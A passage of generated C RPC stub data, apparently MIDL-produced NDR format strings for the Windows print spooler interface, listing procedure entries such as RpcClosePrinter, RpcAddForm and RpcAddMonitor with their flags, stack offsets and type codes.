), /* X64 Stack size/offset = 0 */ 908 | /* 1018 */ NdrFcShort( 0x0 ), /* 0 */ 909 | /* 1020 */ NdrFcShort( 0x8 ), /* 8 */ 910 | /* 1022 */ 0x44, /* Oi2 Flags: has return, has ext, */ 911 | 0x1, /* 1 */ 912 | /* 1024 */ 0xa, /* 10 */ 913 | 0x1, /* Ext Flags: new corr desc, */ 914 | /* 1026 */ NdrFcShort( 0x0 ), /* 0 */ 915 | /* 1028 */ NdrFcShort( 0x0 ), /* 0 */ 916 | /* 1030 */ NdrFcShort( 0x0 ), /* 0 */ 917 | /* 1032 */ NdrFcShort( 0x0 ), /* 0 */ 918 | 919 | /* Return value */ 920 | 921 | /* 1034 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 922 | /* 1036 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 923 | /* 1038 */ 0x8, /* FC_LONG */ 924 | 0x0, /* 0 */ 925 | 926 | /* Procedure RpcWaitForPrinterChange */ 927 | 928 | /* 1040 */ 0x0, /* 0 */ 929 | 0x48, /* Old Flags: */ 930 | /* 1042 */ NdrFcLong( 0x0 ), /* 0 */ 931 | /* 1046 */ NdrFcShort( 0x1c ), /* 28 */ 932 | /* 1048 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 933 | /* 1050 */ 0x32, /* FC_BIND_PRIMITIVE */ 934 | 0x0, /* 0 */ 935 | /* 1052 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 936 | /* 1054 */ NdrFcShort( 0x0 ), /* 0 */ 937 | /* 1056 */ NdrFcShort( 0x8 ), /* 8 */ 938 | /* 1058 */ 0x44, /* Oi2 Flags: has return, has ext, */ 939 | 0x1, /* 1 */ 940 | /* 1060 */ 0xa, /* 10 */ 941 | 0x1, /* Ext Flags: new corr desc, */ 942 | /* 1062 */ NdrFcShort( 0x0 ), /* 0 */ 943 | /* 1064 */ NdrFcShort( 0x0 ), /* 0 */ 944 | /* 1066 */ NdrFcShort( 0x0 ), /* 0 */ 945 | /* 1068 */ NdrFcShort( 0x0 ), /* 0 */ 946 | 947 | /* Return value */ 948 | 949 | /* 1070 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 950 | /* 1072 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 951 | /* 1074 */ 0x8, /* FC_LONG */ 952 | 0x0, /* 0 */ 953 | 954 | /* Procedure RpcClosePrinter */ 955 | 956 | /* 1076 */ 0x0, /* 0 */ 957 | 0x48, /* Old Flags: */ 958 | /* 1078 */ NdrFcLong( 0x0 ), /* 0 */ 959 | /* 1082 */ NdrFcShort( 0x1d ), /* 29 */ 960 | /* 1084 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 961 | /* 1086 */ 0x30, /* FC_BIND_CONTEXT */ 962 | 0xe0, /* Ctxt flags: via ptr, in, out, */ 963 | /* 1088 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 964 | /* 1090 */ 0x0, /* 0 */ 965 | 0x0, /* 0 */ 966 | /* 1092 */ NdrFcShort( 0x38 ), /* 56 */ 967 | /* 1094 */ NdrFcShort( 0x40 ), /* 64 */ 968 | /* 1096 */ 0x44, /* Oi2 Flags: has return, has ext, */ 969 | 0x2, /* 2 */ 970 | /* 1098 */ 0xa, /* 10 */ 971 | 0x1, /* Ext Flags: new corr desc, */ 972 | /* 1100 */ NdrFcShort( 0x0 ), /* 0 */ 973 | /* 1102 */ NdrFcShort( 0x0 ), /* 0 */ 974 | /* 1104 */ NdrFcShort( 0x0 ), /* 0 */ 975 | /* 1106 */ NdrFcShort( 0x0 ), /* 0 */ 976 | 977 | /* Parameter phPrinter */ 978 | 979 | /* 1108 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ 980 | /* 1110 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 981 | /* 1112 */ NdrFcShort( 0x32 ), /* Type Offset=50 */ 982 | 983 | /* Return value */ 984 | 985 | /* 1114 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 986 | /* 1116 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 987 | /* 1118 */ 0x8, /* FC_LONG */ 988 | 0x0, /* 0 */ 989 | 990 | /* Procedure RpcAddForm */ 991 | 992 | /* 1120 */ 0x0, /* 0 */ 993 | 0x48, /* Old Flags: */ 994 | /* 1122 */ NdrFcLong( 0x0 ), /* 0 */ 995 | /* 1126 */ NdrFcShort( 0x1e ), /* 30 */ 996 | /* 1128 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 997 | /* 1130 */ 0x32, /* FC_BIND_PRIMITIVE */ 998 | 0x0, /* 0 */ 999 | /* 1132 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1000 | /* 1134 */ NdrFcShort( 0x0 ), /* 0 */ 1001 | /* 1136 */ NdrFcShort( 0x8 ), /* 8 */ 1002 | /* 1138 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1003 | 0x1, /* 1 */ 1004 | /* 1140 */ 0xa, /* 10 */ 1005 | 0x1, /* Ext Flags: new corr desc, */ 1006 | /* 1142 */ NdrFcShort( 0x0 ), /* 0 */ 1007 | /* 1144 */ NdrFcShort( 0x0 ), /* 0 */ 1008 | /* 1146 */ NdrFcShort( 0x0 ), /* 0 */ 1009 | /* 1148 */ NdrFcShort( 0x0 ), /* 0 */ 1010 | 1011 | /* Return value */ 1012 | 1013 | /* 1150 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1014 | /* 1152 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1015 | /* 1154 */ 0x8, /* FC_LONG */ 1016 | 0x0, /* 0 */ 1017 | 1018 | /* Procedure RpcDeleteForm */ 1019 | 1020 | /* 1156 */ 0x0, /* 0 */ 1021 | 0x48, /* Old Flags: */ 1022 | /* 1158 */ NdrFcLong( 0x0 ), /* 0 */ 1023 | /* 1162 */ NdrFcShort( 0x1f ), /* 31 */ 1024 | /* 1164 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1025 | /* 1166 */ 0x32, /* FC_BIND_PRIMITIVE */ 1026 | 0x0, /* 0 */ 1027 | /* 1168 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1028 | /* 1170 */ NdrFcShort( 0x0 ), /* 0 */ 1029 | /* 1172 */ NdrFcShort( 0x8 ), /* 8 */ 1030 | /* 1174 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1031 | 0x1, /* 1 */ 1032 | /* 1176 */ 0xa, /* 10 */ 1033 | 0x1, /* Ext Flags: new corr desc, */ 1034 | /* 1178 */ NdrFcShort( 0x0 ), /* 0 */ 1035 | /* 1180 */ NdrFcShort( 0x0 ), /* 0 */ 1036 | /* 1182 */ NdrFcShort( 0x0 ), /* 0 */ 1037 | /* 1184 */ NdrFcShort( 0x0 ), /* 0 */ 1038 | 1039 | /* Return value */ 1040 | 1041 | /* 1186 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1042 | /* 1188 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1043 | /* 1190 */ 0x8, /* FC_LONG */ 1044 | 0x0, /* 0 */ 1045 | 1046 | /* Procedure RpcGetForm */ 1047 | 1048 | /* 1192 */ 0x0, /* 0 */ 1049 | 0x48, /* Old Flags: */ 1050 | /* 1194 */ NdrFcLong( 0x0 ), /* 0 */ 1051 | /* 1198 */ NdrFcShort( 0x20 ), /* 32 */ 1052 | /* 1200 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1053 | /* 1202 */ 0x32, /* FC_BIND_PRIMITIVE */ 1054 | 0x0, /* 0 */ 1055 | /* 1204 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1056 | /* 1206 */ NdrFcShort( 0x0 ), /* 0 */ 1057 | /* 1208 */ NdrFcShort( 0x8 ), /* 8 */ 1058 | /* 1210 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1059 | 0x1, /* 1 */ 1060 | /* 1212 */ 0xa, /* 10 */ 1061 | 0x1, /* Ext Flags: new corr desc, */ 1062 | /* 1214 */ NdrFcShort( 0x0 ), /* 0 */ 1063 | /* 1216 */ NdrFcShort( 0x0 ), /* 0 */ 1064 | /* 1218 */ NdrFcShort( 0x0 ), /* 0 */ 1065 | /* 1220 */ NdrFcShort( 0x0 ), /* 0 */ 1066 | 1067 | /* Return value */ 1068 | 1069 | /* 1222 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1070 | /* 1224 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1071 | /* 1226 */ 0x8, /* FC_LONG */ 1072 | 0x0, /* 0 */ 1073 | 1074 | /* Procedure RpcSetForm */ 1075 | 1076 | /* 1228 */ 0x0, /* 0 */ 1077 | 0x48, /* Old Flags: */ 1078 | /* 1230 */ NdrFcLong( 0x0 ), /* 0 */ 1079 | /* 1234 */ NdrFcShort( 0x21 ), /* 33 */ 1080 | /* 1236 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1081 | /* 1238 */ 0x32, /* FC_BIND_PRIMITIVE */ 1082 | 0x0, /* 0 */ 1083 | /* 1240 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1084 | /* 1242 */ NdrFcShort( 0x0 ), /* 0 */ 1085 | /* 1244 */ NdrFcShort( 0x8 ), /* 8 */ 1086 | /* 1246 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1087 | 0x1, /* 1 */ 1088 | /* 1248 */ 0xa, /* 10 */ 1089 | 0x1, /* Ext Flags: new corr desc, */ 1090 | /* 1250 */ NdrFcShort( 0x0 ), /* 0 */ 1091 | /* 1252 */ NdrFcShort( 0x0 ), /* 0 */ 1092 | /* 1254 */ NdrFcShort( 0x0 ), /* 0 */ 1093 | /* 1256 */ NdrFcShort( 0x0 ), /* 0 */ 1094 | 1095 | /* Return value */ 1096 | 1097 | /* 1258 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1098 | /* 1260 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1099 | /* 1262 */ 0x8, /* FC_LONG */ 1100 | 0x0, /* 0 */ 1101 | 1102 | /* Procedure RpcEnumForms */ 1103 | 1104 | /* 1264 */ 0x0, /* 0 */ 1105 | 0x48, /* Old Flags: */ 1106 | /* 1266 */ NdrFcLong( 0x0 ), /* 0 */ 1107 | /* 1270 */ NdrFcShort( 0x22 ), /* 34 */ 1108 | /* 1272 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1109 | /* 1274 */ 0x32, /* FC_BIND_PRIMITIVE */ 1110 | 0x0, /* 0 */ 1111 | /* 1276 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1112 | /* 1278 */ NdrFcShort( 0x0 ), /* 0 */ 1113 | /* 1280 */ NdrFcShort( 0x8 ), /* 8 */ 1114 | /* 1282 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1115 | 0x1, /* 1 */ 1116 | /* 1284 */ 0xa, /* 10 */ 1117 | 0x1, /* Ext Flags: new corr desc, */ 1118 | /* 1286 */ NdrFcShort( 0x0 ), /* 0 */ 1119 | /* 1288 */ NdrFcShort( 0x0 ), /* 0 */ 1120 | /* 1290 */ NdrFcShort( 0x0 ), /* 0 */ 1121 | /* 1292 */ NdrFcShort( 0x0 ), /* 0 */ 1122 | 1123 | /* Return value */ 1124 | 1125 | /* 1294 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1126 | /* 1296 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1127 | /* 1298 */ 0x8, /* FC_LONG */ 1128 | 0x0, /* 0 */ 1129 | 1130 | /* Procedure RpcEnumPorts */ 1131 | 1132 | /* 1300 */ 0x0, /* 0 */ 1133 | 0x48, /* Old Flags: */ 1134 | /* 1302 */ NdrFcLong( 0x0 ), /* 0 */ 1135 | /* 1306 */ NdrFcShort( 0x23 ), /* 35 */ 1136 | /* 1308 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1137 | /* 1310 */ 0x32, /* FC_BIND_PRIMITIVE */ 1138 | 0x0, /* 0 */ 1139 | /* 1312 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1140 | /* 1314 */ NdrFcShort( 0x0 ), /* 0 */ 1141 | /* 1316 */ NdrFcShort( 0x8 ), /* 8 */ 1142 | /* 1318 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1143 | 0x1, /* 1 */ 1144 | /* 1320 */ 0xa, /* 10 */ 1145 | 0x1, /* Ext Flags: new corr desc, */ 1146 | /* 1322 */ NdrFcShort( 0x0 ), /* 0 */ 1147 | /* 1324 */ NdrFcShort( 0x0 ), /* 0 */ 1148 | /* 1326 */ NdrFcShort( 0x0 ), /* 0 */ 1149 | /* 1328 */ NdrFcShort( 0x0 ), /* 0 */ 1150 | 1151 | /* Return value */ 1152 | 1153 | /* 1330 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1154 | /* 1332 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1155 | /* 1334 */ 0x8, /* FC_LONG */ 1156 | 0x0, /* 0 */ 1157 | 1158 | /* Procedure RpcEnumMonitors */ 1159 | 1160 | /* 1336 */ 0x0, /* 0 */ 1161 | 0x48, /* Old Flags: */ 1162 | /* 1338 */ NdrFcLong( 0x0 ), /* 0 */ 1163 | /* 1342 */ NdrFcShort( 0x24 ), /* 36 */ 1164 | /* 1344 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1165 | /* 1346 */ 0x32, /* FC_BIND_PRIMITIVE */ 1166 | 0x0, /* 0 */ 1167 | /* 1348 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1168 | /* 1350 */ NdrFcShort( 0x0 ), /* 0 */ 1169 | /* 1352 */ NdrFcShort( 0x8 ), /* 8 */ 1170 | /* 1354 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1171 | 0x1, /* 1 */ 1172 | /* 1356 */ 0xa, /* 10 */ 1173 | 0x1, /* Ext Flags: new corr desc, */ 1174 | /* 1358 */ NdrFcShort( 0x0 ), /* 0 */ 1175 | /* 1360 */ NdrFcShort( 0x0 ), /* 0 */ 1176 | /* 1362 */ NdrFcShort( 0x0 ), /* 0 */ 1177 | /* 1364 */ NdrFcShort( 0x0 ), /* 0 */ 1178 | 1179 | /* Return value */ 1180 | 1181 | /* 1366 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1182 | /* 1368 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1183 | /* 1370 */ 0x8, /* FC_LONG */ 1184 | 0x0, /* 0 */ 1185 | 1186 | /* Procedure Opnum37NotUsedOnWire */ 1187 | 1188 | /* 1372 */ 0x0, /* 0 */ 1189 | 0x48, /* Old Flags: */ 1190 | /* 1374 */ NdrFcLong( 0x0 ), /* 0 */ 1191 | /* 1378 */ NdrFcShort( 0x25 ), /* 37 */ 1192 | /* 1380 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1193 | /* 1382 */ 0x32, /* FC_BIND_PRIMITIVE */ 1194 | 0x0, /* 0 */ 1195 | /* 1384 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1196 | /* 1386 */ NdrFcShort( 0x0 ), /* 0 */ 1197 | /* 1388 */ NdrFcShort( 0x0 ), /* 0 */ 1198 | /* 1390 */ 0x40, /* Oi2 Flags: has ext, */ 1199 | 0x0, /* 0 */ 1200 | /* 1392 */ 0xa, /* 10 */ 1201 | 0x1, /* Ext Flags: new corr desc, */ 1202 | /* 1394 */ NdrFcShort( 0x0 ), /* 0 */ 1203 | /* 1396 */ NdrFcShort( 0x0 ), /* 0 */ 1204 | /* 1398 */ NdrFcShort( 0x0 ), /* 0 */ 1205 | /* 1400 */ NdrFcShort( 0x0 ), /* 0 */ 1206 | 1207 | /* Procedure Opnum38NotUsedOnWire */ 1208 | 1209 | /* 1402 */ 0x0, /* 0 */ 1210 | 0x48, /* Old Flags: */ 1211 | /* 1404 */ NdrFcLong( 0x0 ), /* 0 */ 1212 | /* 1408 */ NdrFcShort( 0x26 ), /* 38 */ 1213 | /* 1410 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1214 | /* 1412 */ 0x32, /* FC_BIND_PRIMITIVE */ 1215 | 0x0, /* 0 */ 1216 | /* 1414 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1217 | /* 1416 */ NdrFcShort( 0x0 ), /* 0 */ 1218 | /* 1418 */ NdrFcShort( 0x0 ), /* 0 */ 1219 | /* 1420 */ 0x40, /* Oi2 Flags: has ext, */ 1220 | 0x0, /* 0 */ 1221 | /* 1422 */ 0xa, /* 10 */ 1222 | 0x1, /* Ext Flags: new corr desc, */ 1223 | /* 1424 */ NdrFcShort( 0x0 ), /* 0 */ 1224 | /* 1426 */ NdrFcShort( 0x0 ), /* 0 */ 1225 | /* 1428 */ NdrFcShort( 0x0 ), /* 0 */ 1226 | /* 1430 */ NdrFcShort( 0x0 ), /* 0 */ 1227 | 1228 | /* Procedure RpcDeletePort */ 1229 | 1230 | /* 1432 */ 0x0, /* 0 */ 1231 | 0x48, /* Old Flags: */ 1232 | /* 1434 */ NdrFcLong( 0x0 ), /* 0 */ 1233 | /* 1438 */ NdrFcShort( 0x27 ), /* 39 */ 1234 | /* 1440 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1235 | /* 1442 */ 0x32, /* FC_BIND_PRIMITIVE */ 1236 | 0x0, /* 0 */ 1237 | /* 1444 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1238 | /* 1446 */ NdrFcShort( 0x0 ), /* 0 */ 1239 | /* 1448 */ NdrFcShort( 0x8 ), /* 8 */ 1240 | /* 1450 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1241 | 0x1, /* 1 */ 1242 | /* 1452 */ 0xa, /* 10 */ 1243 | 0x1, /* Ext Flags: new corr desc, */ 1244 | /* 1454 */ NdrFcShort( 0x0 ), /* 0 */ 1245 | /* 1456 */ NdrFcShort( 0x0 ), /* 0 */ 1246 | /* 1458 */ NdrFcShort( 0x0 ), /* 0 */ 1247 | /* 1460 */ NdrFcShort( 0x0 ), /* 0 */ 1248 | 1249 | /* Return value */ 1250 | 1251 | /* 1462 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1252 | /* 1464 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1253 | /* 1466 */ 0x8, /* FC_LONG */ 1254 | 0x0, /* 0 */ 1255 | 1256 | /* Procedure RpcCreatePrinterIC */ 1257 | 1258 | /* 1468 */ 0x0, /* 0 */ 1259 | 0x48, /* Old Flags: */ 1260 | /* 1470 */ NdrFcLong( 0x0 ), /* 0 */ 1261 | /* 1474 */ NdrFcShort( 0x28 ), /* 40 */ 1262 | /* 1476 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1263 | /* 1478 */ 0x32, /* FC_BIND_PRIMITIVE */ 1264 | 0x0, /* 0 */ 1265 | /* 1480 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1266 | /* 1482 */ NdrFcShort( 0x0 ), /* 0 */ 1267 | /* 1484 */ NdrFcShort( 0x8 ), /* 8 */ 1268 | /* 1486 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1269 | 0x1, /* 1 */ 1270 | /* 1488 */ 0xa, /* 10 */ 1271 | 0x1, /* Ext Flags: new corr desc, */ 1272 | /* 1490 */ NdrFcShort( 0x0 ), /* 0 */ 1273 | /* 1492 */ NdrFcShort( 0x0 ), /* 0 */ 1274 | /* 1494 */ NdrFcShort( 0x0 ), /* 0 */ 1275 | /* 1496 */ NdrFcShort( 0x0 ), /* 0 */ 1276 | 1277 | /* Return value */ 1278 | 1279 | /* 1498 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1280 | /* 1500 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1281 | /* 1502 */ 0x8, /* FC_LONG */ 1282 | 0x0, /* 0 */ 1283 | 1284 | /* Procedure RpcPlayGdiScriptOnPrinterIC */ 1285 | 1286 | /* 1504 */ 0x0, /* 0 */ 1287 | 0x48, /* Old Flags: */ 1288 | /* 1506 */ NdrFcLong( 0x0 ), /* 0 */ 1289 | /* 1510 */ NdrFcShort( 0x29 ), /* 41 */ 1290 | /* 1512 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1291 | /* 1514 */ 0x32, /* FC_BIND_PRIMITIVE */ 1292 | 0x0, /* 0 */ 1293 | /* 1516 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1294 | /* 1518 */ NdrFcShort( 0x0 ), /* 0 */ 1295 | /* 1520 */ NdrFcShort( 0x8 ), /* 8 */ 1296 | /* 1522 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1297 | 0x1, /* 1 */ 1298 | /* 1524 */ 0xa, /* 10 */ 1299 | 0x1, /* Ext Flags: new corr desc, */ 1300 | /* 1526 */ NdrFcShort( 0x0 ), /* 0 */ 1301 | /* 1528 */ NdrFcShort( 0x0 ), /* 0 */ 1302 | /* 1530 */ NdrFcShort( 0x0 ), /* 0 */ 1303 | /* 1532 */ NdrFcShort( 0x0 ), /* 0 */ 1304 | 1305 | /* Return value */ 1306 | 1307 | /* 1534 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1308 | /* 1536 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1309 | /* 1538 */ 0x8, /* FC_LONG */ 1310 | 0x0, /* 0 */ 1311 | 1312 | /* Procedure RpcDeletePrinterIC */ 1313 | 1314 | /* 1540 */ 0x0, /* 0 */ 1315 | 0x48, /* Old Flags: */ 1316 | /* 1542 */ NdrFcLong( 0x0 ), /* 0 */ 1317 | /* 1546 */ NdrFcShort( 0x2a ), /* 42 */ 1318 | /* 1548 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1319 | /* 1550 */ 0x32, /* FC_BIND_PRIMITIVE */ 1320 | 0x0, /* 0 */ 1321 | /* 1552 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1322 | /* 1554 */ NdrFcShort( 0x0 ), /* 0 */ 1323 | /* 1556 */ NdrFcShort( 0x8 ), /* 8 */ 1324 | /* 1558 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1325 | 0x1, /* 1 */ 1326 | /* 1560 */ 0xa, /* 10 */ 1327 | 0x1, /* Ext Flags: new corr desc, */ 1328 | /* 1562 */ NdrFcShort( 0x0 ), /* 0 */ 1329 | /* 1564 */ NdrFcShort( 0x0 ), /* 0 */ 1330 | /* 1566 */ NdrFcShort( 0x0 ), /* 0 */ 1331 | /* 1568 */ NdrFcShort( 0x0 ), /* 0 */ 1332 | 1333 | /* Return value */ 1334 | 1335 | /* 1570 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1336 | /* 1572 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1337 | /* 1574 */ 0x8, /* FC_LONG */ 1338 | 0x0, /* 0 */ 1339 | 1340 | /* Procedure Opnum43NotUsedOnWire */ 1341 | 1342 | /* 1576 */ 0x0, /* 0 */ 1343 | 0x48, /* Old Flags: */ 1344 | /* 1578 */ NdrFcLong( 0x0 ), /* 0 */ 1345 | /* 1582 */ NdrFcShort( 0x2b ), /* 43 */ 1346 | /* 1584 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1347 | /* 1586 */ 0x32, /* FC_BIND_PRIMITIVE */ 1348 | 0x0, /* 0 */ 1349 | /* 1588 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1350 | /* 1590 */ NdrFcShort( 0x0 ), /* 0 */ 1351 | /* 1592 */ NdrFcShort( 0x0 ), /* 0 */ 1352 | /* 1594 */ 0x40, /* Oi2 Flags: has ext, */ 1353 | 0x0, /* 0 */ 1354 | /* 1596 */ 0xa, /* 10 */ 1355 | 0x1, /* Ext Flags: new corr desc, */ 1356 | /* 1598 */ NdrFcShort( 0x0 ), /* 0 */ 1357 | /* 1600 */ NdrFcShort( 0x0 ), /* 0 */ 1358 | /* 1602 */ NdrFcShort( 0x0 ), /* 0 */ 1359 | /* 1604 */ NdrFcShort( 0x0 ), /* 0 */ 1360 | 1361 | /* Procedure Opnum44NotUsedOnWire */ 1362 | 1363 | /* 1606 */ 0x0, /* 0 */ 1364 | 0x48, /* Old Flags: */ 1365 | /* 1608 */ NdrFcLong( 0x0 ), /* 0 */ 1366 | /* 1612 */ NdrFcShort( 0x2c ), /* 44 */ 1367 | /* 1614 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1368 | /* 1616 */ 0x32, /* FC_BIND_PRIMITIVE */ 1369 | 0x0, /* 0 */ 1370 | /* 1618 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1371 | /* 1620 */ NdrFcShort( 0x0 ), /* 0 */ 1372 | /* 1622 */ NdrFcShort( 0x0 ), /* 0 */ 1373 | /* 1624 */ 0x40, /* Oi2 Flags: has ext, */ 1374 | 0x0, /* 0 */ 1375 | /* 1626 */ 0xa, /* 10 */ 1376 | 0x1, /* Ext Flags: new corr desc, */ 1377 | /* 1628 */ NdrFcShort( 0x0 ), /* 0 */ 1378 | /* 1630 */ NdrFcShort( 0x0 ), /* 0 */ 1379 | /* 1632 */ NdrFcShort( 0x0 ), /* 0 */ 1380 | /* 1634 */ NdrFcShort( 0x0 ), /* 0 */ 1381 | 1382 | /* Procedure Opnum45NotUsedOnWire */ 1383 | 1384 | /* 1636 */ 0x0, /* 0 */ 1385 | 0x48, /* Old Flags: */ 1386 | /* 1638 */ NdrFcLong( 0x0 ), /* 0 */ 1387 | /* 1642 */ NdrFcShort( 0x2d ), /* 45 */ 1388 | /* 1644 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1389 | /* 1646 */ 0x32, /* FC_BIND_PRIMITIVE */ 1390 | 0x0, /* 0 */ 1391 | /* 1648 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1392 | /* 1650 */ NdrFcShort( 0x0 ), /* 0 */ 1393 | /* 1652 */ NdrFcShort( 0x0 ), /* 0 */ 1394 | /* 1654 */ 0x40, /* Oi2 Flags: has ext, */ 1395 | 0x0, /* 0 */ 1396 | /* 1656 */ 0xa, /* 10 */ 1397 | 0x1, /* Ext Flags: new corr desc, */ 1398 | /* 1658 */ NdrFcShort( 0x0 ), /* 0 */ 1399 | /* 1660 */ NdrFcShort( 0x0 ), /* 0 */ 1400 | /* 1662 */ NdrFcShort( 0x0 ), /* 0 */ 1401 | /* 1664 */ NdrFcShort( 0x0 ), /* 0 */ 1402 | 1403 | /* Procedure RpcAddMonitor */ 1404 | 1405 | /* 1666 */ 0x0, /* 0 */ 1406 | 0x48, /* Old Flags: */ 1407 | /* 1668 */ NdrFcLong( 0x0 ), /* 0 */ 1408 | /* 1672 */ NdrFcShort( 0x2e ), /* 46 */ 1409 | /* 1674 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1410 | /* 1676 */ 0x32, /* FC_BIND_PRIMITIVE */ 1411 | 0x0, /* 0 */ 1412 | /* 1678 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1413 | /* 1680 */ NdrFcShort( 0x0 ), /* 0 */ 1414 | /* 1682 */ NdrFcShort( 0x8 ), /* 8 */ 1415 | /* 1684 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1416 | 0x1, /* 1 */ 1417 | /* 1686 */ 0xa, /* 10 */ 1418 | 0x1, /* Ext Flags: new corr desc, */ 1419 | /* 1688 */ NdrFcShort( 0x0 ), /* 0 */ 1420 | /* 1690 */ NdrFcShort( 0x0 ), /* 0 */ 1421 | /* 1692 */ NdrFcShort( 0x0 ), /* 0 */ 1422 | /* 1694 */ NdrFcShort( 0x0 ), /* 0 */ 1423 | 1424 | /* Return value */ 1425 | 1426 | /* 1696 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1427 | /* 1698 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1428 | /* 1700 */ 0x8, /* FC_LONG */ 1429 | 0x0, /* 0 */ 1430 | 1431 | /* Procedure RpcDeleteMonitor */ 1432 | 1433 | /* 1702 */ 0x0, /* 0 */ 1434 | 0x48, /* Old Flags: */ 1435 | /* 1704 */ NdrFcLong( 0x0 ), /* 0 */ 1436 | /* 1708 */ NdrFcShort( 0x2f ), /* 47 */ 1437 | /* 1710 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1438 | /* 1712 */ 0x32, /* FC_BIND_PRIMITIVE */ 1439 | 0x0, /* 0 */ 1440 | /* 1714 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1441 | /* 1716 */ NdrFcShort( 0x0 ), /* 0 */ 1442 | /* 1718 */ NdrFcShort( 0x8 ), /* 8 */ 1443 | /* 1720 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1444 | 0x1, /* 1 */ 1445 | /* 1722 */ 0xa, /* 10 */ 1446 | 0x1, /* Ext Flags: new corr desc, */ 1447 | /* 1724 */ NdrFcShort( 0x0 ), /* 0 */ 1448 | /* 1726 */ NdrFcShort( 0x0 ), /* 0 */ 1449 | /* 1728 */ NdrFcShort( 0x0 ), /* 0 */ 1450 | /* 1730 